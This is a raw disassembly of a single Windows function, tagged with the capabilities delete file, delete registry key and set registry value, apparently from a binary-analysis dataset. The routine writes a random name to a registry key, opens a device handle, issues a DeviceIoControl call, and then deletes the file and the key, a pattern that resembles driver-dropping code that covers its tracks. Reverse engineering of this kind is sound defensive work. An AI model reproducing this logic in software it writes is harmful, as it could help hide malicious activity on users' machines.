Function at 0x428bf0
Capabilities:
Delete file
Delete registry key
Set registry value

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
push edi
call fcn.00428b10
test al, al
mov byte [0x4478f0], al
je 0x428e0f
call fcn.00428b40
call fcn.00428ab0
push 0
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov edi, str.._tlgpp
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, dword [sym.imp.MSVCRT.dll_rand]
mov eax, ecx
mov esi, edi
mov edi, 0x4479fc
mov byte [esp + 0x1c], 0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor ecx, ecx
mov dword [esp + 0x1d], ecx
mov dword [esp + 0x21], ecx
mov dword [esp + 0x25], ecx
mov dword [esp + 0x29], ecx
mov word [esp + 0x2d], cx
mov byte [esp + 0x2f], cl
call ebx
cdq
mov ecx, 3
mov esi, 0
idiv ecx
mov edi, edx
add edi, ecx
je 0x428c9b
call ebx
cdq
mov ecx, 0x1a
idiv ecx
add dl, 0x61
mov byte [esp + esi + 0x1c], dl
inc esi
cmp esi, edi
jb 0x428c85
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x4479fc
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x10]
and ecx, 3
push eax
push str.SOFTWAREMicrosoft
push reloc.inproc.dll_Ordinal_2
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x428d28
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push ecx
push str.rename
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x18]
push eax
push 1
push 0
push str.winio
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push 0x4479fc
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp eax, 0xffffffff
mov dword [0x4472e4], eax
jne 0x428db7
xor edi, edi
push 1
push 0x4478f4
call fcn.00428ee0
mov bl, al
test bl, bl
je 0x428d9d
call fcn.00428fc0
mov bl, al
test bl, bl
je 0x428d9d
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push 0x4479fc
call esi
test eax, eax
mov dword [0x4472e4], eax
je 0x428d9d
cmp eax, 0xffffffff
jne 0x428da3
inc edi
cmp edi, 4
jl 0x428d59
push 0x4478f4
call ebp
test bl, bl
je 0x428e0f
cmp dword [0x4472e4], 0xffffffff
je 0x428e0f
push 0x4478f4
call ebp
mov ecx, dword [0x4472e4]
lea eax, [esp + 0x18]
push 0
push eax
push 0
push 0
push 0
push 0
push 0x8001200c
push ecx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x428e0f
mov edx, dword [esp + 0x10]
push str.rename
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
mov byte [0x4479f8], 1
mov al, 1
pop ebx
add esp, 0x20
ret
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret